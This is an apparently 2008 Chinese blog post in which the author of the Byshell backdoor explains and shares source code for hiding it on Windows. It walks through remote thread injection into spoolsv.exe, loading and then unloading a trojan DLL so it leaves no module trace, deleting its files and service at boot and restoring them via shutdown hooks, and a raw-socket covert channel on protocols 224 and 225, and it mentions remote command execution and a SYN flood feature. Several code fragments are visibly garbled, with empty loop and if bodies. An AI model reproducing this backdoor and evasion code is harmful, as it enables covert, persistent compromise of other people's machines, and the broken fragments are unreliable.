Byshell:无进程无DLL无硬盘文件无启动项

怎样隐藏自身的进程?一个普遍采用的方法就是远程线程注射。但它最大的问题是注射代码到了远程进程的地址空间后,由于地址空间的变化,依赖于原来地址空间的所有直接寻址指令需要重定位。这点对汇编老手来手是很容易理解的,对高级语言程序编写者来说这意味着所有显式和非显式的全局变量(如API地址和字符串)都需要进行手工重定位。
相比于病毒程序,我们很幸福,因为我们的的注射器可以同时向远程进程注射一个“全局变量块”,再把这个块的地址传送到远程函数,然后在远程函数中使用这个块来替代直接寻址的全局变量,从而免于编写完全“自身可重定位”的代码。后者被认为是非常烦琐并且几乎无法用高级语言实现的。但即使是这样,编写可以重定位的代码复杂度仍然比较大,写功能模块比较多的后门程序将会非常累。农民前辈的Cmdbind2实现了完全手工重定位的注射后门,我们看他的源代码可以发现他仅仅在实现最普通的Bind Shell上就花费了很多代码,像ByShell v0.64这样的功能复杂的后门,如果也这样实现功能的话,无疑是难以想象的。
    取代直接编写可重定位代码的普遍方法是在注射进入远程进程的函数中加载一个DLL,这样的话系统将为你做重定位工作,后门主要功能实现在DLL中。例如以前的黑防中,单长虹介绍过这种方法。这种方法也有一个小弊端就是管理员在审核被你注射的进程时会发现一个不明的DLL从而导致后门暴露。农民前辈提出了一种思路,先加载DLL,然后把这一块内存全部拷贝到其它地方,卸载DLL,再申请与原来加载DLL相同的地址空间,把其它地方“寄存”的DLL代码拷贝回这个空间。然后直接调用这个DLL,就解决了所有的重定位问题,还不会在被注射进程的加载模块列表里出现我们的DLL。农民前辈并没有实现他的想法为代码,一会给出我用这种方法实现的主要代码。
    进行比较讨论时我们也来讨论其它的系统级隐藏进程方法。Bingle采用替代Svchost启动的DLL服务的方法来加载后门,ZXshell也使用了这种方法。这种方法的主要问题是不稳定,必须改写注册表敏感键值并在Svchost.exe的加载模块中出现不明模块。当然如果用和原来同名的木马DLL来替代原来的DLL可以避免以上问题,但是又会遇到新的问题,就是怎样绕过Windows的系统文件保护和管理员例行的系统文件完整性检查。
    Hxdef统一采用Hook ring3 API(主要是Ntdll.dll的NativeAPI)的方法完成自身各个方面的隐藏。这种方法对于一般的Ring3检查效果很好,并且可以部分实现端口复用。它的主要问题有Ring3下Hook的手段不多,而且比较“兴师动众”(Hxdef向系统中所有进程注射木马数据),效果还不是很好,极易被Ring0的RootKit Detector发现,如ICESWORD。最后还有就是编程烦琐。
    我选用了注射远程进程Spoolsv.exe,假脱机打印服务的方法,并且在注射到远程的函数中加载然后卸载了一个木马DLL——Ntboot.dll,注射器则是Ntboot.exe。请看代码:

void injcode(){HANDLE prohandle;//注射对象进程句柄
DWORD pid=0;//对象进程PID
int ret; //临时变量

//使用toolhelp32函数得到注射对象PID
Sleep(1000);
HANDLE snapshot;
snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
struct tagPROCESSENTRY32 processsnap; processsnap.dwSize=sizeof(tagPROCESSENTRY32);
char injexe[]="spoolsv.exe";//注射对象进程,大家可以自己改
for(Process32First(snapshot,&processsnap);
Process32Next(snapshot,&processsnap);)
}
CloseHandle(snapshot);//得到PID
//取得SE_DEBUG_NAME权限
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,0,&tp, sizeof(tp),0,0);
//现在注射
prohandle=OpenProcess(PROCESS_ALL_ACCESS,1,pid);
DWORD WINAPI injfunc(LPVOID);//Injfunc就是注射的函数,需要手工重定位
//下面取得需要用的API地址并写进将要注射的全局变量块,Injapistr是全局结构,是全局变量块的内容
HMODULE hModule;
LPVOID paramaddr;//全局变量块地址
hModule=LoadLibrary("kernel32.dll");
injapistr.myLoadLibrary=(struct HINSTANCE__ *(__stdcall *)(const char *))GetProcAddress(hModule,"LoadLibraryA");
injapistr.myGetProcAddress=(FARPROC (__stdcall*)(HMODULE,LPCTSTR))GetProcAddress(hModule,"GetProcAddress");
injapistr.myVirtualAlloc=(void *(__stdcall *)(void *,unsigned long,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualAlloc");
injapistr.myFreeLibrary=(int (__stdcall *)(struct HINSTANCE__ *))GetProcAddress(hModule,"FreeLibrary");
injapistr.myIsBadReadPtr=(int (__stdcall *)(const void *,unsigned int))GetProcAddress(hModule,"IsBadReadPtr");
injapistr.myVirtualFree=(int (__stdcall *)(void *,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualFree");
//在目标进程里分配“全局变量块”,并写入API地址
paramaddr=VirtualAllocEx(prohandle,0,sizeof(injapistr),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
ret=WriteProcessMemory(prohandle,paramaddr,&injapistr,sizeof(injapistr),0);
//写入Injfunc函数
void* injfuncaddr=VirtualAllocEx(prohandle,0,20000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
ret=WriteProcessMemory(prohandle,injfuncaddr,injfunc,20000,0);
//激活远程线程
CreateRemoteThread(prohandle,0,0,(DWORD (WINAPI *)(void *))injfuncaddr,paramaddr,0,0);
CloseHandle(prohandle);
return;
}
//注射到远程的函数,负责完成加载和卸载功能复杂的木马DLL的艰巨任务
DWORD WINAPI injfunc(LPVOID paramaddr){
//paramaddr,全局变量块首址。所有静态全局变量都需要重定位(直接寻址的),而动态分配(堆,Virtualalloc)和栈变量不需要,因为他们使用间接寻址。其实字符串也可以在刚才写进全局变量块,但是字符串不多,这里直接用ASM搞定。
char ntboot[16];
char msgbox[16];//变量名字起错了,应该是DLL的后门主函数名。汗,希望不要误导大家。
INJAPISTR * pinjapistr=(INJAPISTR *)paramaddr;
__asm{ 
mov ntboot,’n’
mov ntboot+1,’t’
mov ntboot+2,’b’
mov ntboot+3,’o’
mov ntboot+4,’o’
mov ntboot+5,’t’
mov ntboot+6,’.’
mov ntboot+7,’d’
mov ntboot+8,’l’
mov ntboot+9,’l’
mov ntboot+10,0
mov msgbox,’C’
mov msgbox+1,’m’
mov msgbox+2,’d’
mov msgbox+3,’S’
mov msgbox+4,’e’
mov msgbox+5,’r’
mov msgbox+6,’v’
mov msgbox+7,’i’
mov msgbox+8,’c’
mov msgbox+9,’e’
mov msgbox+10,0
}
HMODULE hModule=pinjapistr->myLoadLibrary(ntboot);//加载Ntboot.dll
DWORD (WINAPI *myCmdService)(LPVOID);//DLL后门的主函数名 
myCmdService=(DWORD (WINAPI *)(LPVOID))(pinjapistr->myGetProcAddress(hModule,msgbox));
//各位看官,以下是精华了:
unsigned int memsize=0;
void * tempdll=pinjapistr->myVirtualAlloc(0,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(tempdll,hModule,0x23000);
//0x23000是DLL的大小,不多不少。如果你改变了Ntboot.dll的大小请注意调整这个值
pinjapistr->myFreeLibrary(hModule);
hModule=(HMODULE)pinjapistr->myVirtualAlloc(hModule,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(hModule,tempdll,0x23000);
pinjapistr->myVirtualFree(tempdll,0x23000,MEM_DECOMMIT);
//结束,DLL没有被加载,但是又可以发挥作用,爽吧?!
myCmdService(0);//调用后门主函数。
return 0;


下一个问题是启动项和文件。Ntboot.exe是后门的注射器,将自己作为服务启动,我们决不能让管理员发现服务键值。怎么办?这个也是农民前辈提出的思想:先删除所有后门文件和服务,设定一个关机通知和一个一键关机钩子,在即将关机的时候写入文件和服务项。同样的,一开机这个服务只要启动了就会先把自己删除。这样就实现了无文件和无启动项。管理员用注册表对比将不能发现异常,也无处寻找我们的后门文件。看一下设定一个关机通知和一个一键关机钩子的代码:

DWORD WINAPI hookthread( LPVOID lpParam ){
MSG msg;int tmpret;char tmpstr[100];
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);
if(!msghook)
tmpret=SetConsoleCtrlHandler(HandlerRoutine,1);
if(!tmpret)
while (GetMessage(&msg, NULL, 0, 0)){void resume();
if(msg.message==WM_QUERYENDSESSION)
}
UnhookWindowsHookEx(msghook);
return 0;
}

BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
switch(dwCtrlType)
{
case CTRL_SHUTDOWN_EVENT:
resume();//resume函数,顾名思义就是恢复文件启动项
break;
default:
break;
}
return 0;
}

LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume();
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);}
if(code==HC_ACTION){
 EVENTMSG * pevent=(EVENTMSG *)lParam;
 if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF)
}
return CallNextHookEx(msghook,code,wParam,lParam);


与Hxdef的Hook文件注册表的Native API相比,这种办法的好处是根本就不存在文件,也不会有什么Ring0的Rootkit Detector发现被Hook API隐藏的文件和注册表项。坏处是如果对方直接拔电源关机我们就“安息”了。于是我们就会安慰自己说:这个后门有足够的隐蔽性,不会让对方怀疑到中了后门,以至于采用掉电关机的BT手段。当然如果你用Hxdef,那么相信我,现在的Rootkit Detector很普遍,Hxdef已经成为众矢之的了,在管理员检查时也会“安息”得很快的。
    最后是怎样实现无端口(像用Rootkit隐藏掉端口那种不叫无端口。那种东西不但无法穿过防火墙还会在管理员扫描自己的机器时暴露),这是Byshell v0.64的弱项,Ring3后门本来难有什么好办法来进行端口复用,使用Raw_socket监听TCP只能做到Bits.dll那样的“等待连接时无端口”;把自己加载成SPI基础服务提供者或者分层服务提供者,可以截获所有Ring3网络通讯,但会在注册表和系统中留下足够多的信息从而导致我们后门“安息”。Hxdef的Hook系统中所有进程的Recv/WSArecv方法虽然有不能复用Ring0端口如139,445的弊端,但还是现在看来比较好的Ring3端口复用的办法。到现在为止,Byshell采取的方法是使用Socket_raw的自定义协议,就是非TCP非UDP协议进行通讯,可以穿越大多软件防火墙和一些硬件防火墙,但是它的弊端是不保证穿过所有防火墙,并且不支持Windows XP SP2,因为后者取消了对Socket_raw的支持。我的实现比较简单,就是用一个协议号224监听连接和刷新,另一个协议号225传输后门数据,很简单:
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2),&WSAData);
SOCKET sock224=socket(AF_INET,SOCK_RAW,224);
sockaddr_in srvaddr;
memset(&srvaddr,0,sizeof(struct sockaddr_in));
srvaddr.sin_family= AF_INET;
srvaddr.sin_addr.S_un.S_addr =INADDR_ANY;
ret=bind(sock224,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr));
if(ret){goto label2;}
dwThreadId=0;char buff224[128];
DWORD WINAPI threadfunc( LPVOID lpParam );
HANDLE thrdhndl;
//建立225的连接线程
thrdhndl=CreateThread(0, 0, threadfunc, 0, 0, &dwThreadId);
//等待刷新
while(1){recvfrom(sock224,buff224,128,0,0,0);
if(!strncmp(buff224+32+sizeof(IP_HEADER),"+_)(*&^%$#@!~byrefreshbreak",27) && !strncmp(buff224+sizeof(IP_HEADER),pwd,strlen(pwd))){
 TerminateThread(thrdhndl,0);goto label1;}
}
    在225的代码里我实现了简单的差错控制,代码比较长这里不列举了,有兴趣的朋友请看源代码。由于这个复用方法不是非常可靠、稳定,所以我公布了Byshell v0.63,它直接开了一个TCP端口138,完全不符合后门要求,但是给大家用来作测试还是可以的。如果大家发现Byshell v0.64不是很稳定可以试试v0.63。不过一个严重的失误是我在Byshell v0.64的说明书里漏了一个命令“refresh”,它可以清除万一出现的225连接死掉,并且给你机会重新连接。
    最后就是Byshell实现了非常多的命令,比如查看系统信息、执行命令、在后门连接中上传下载,甚至还有SYN洪水攻击。后门的功能模块是Work()函数,这样便于进行功能拓展和模块化编程。针对它端口复用不理想的现状,我会继续升级。以后可能写成Hxdef那样的Ring3复用,也可能是Ring0的过滤驱动之类的东西,也希望前辈们继续指导我。

posted @ 2008-11-13 10:37  荷包蛋  阅读(913)  评论(0编辑  收藏  举报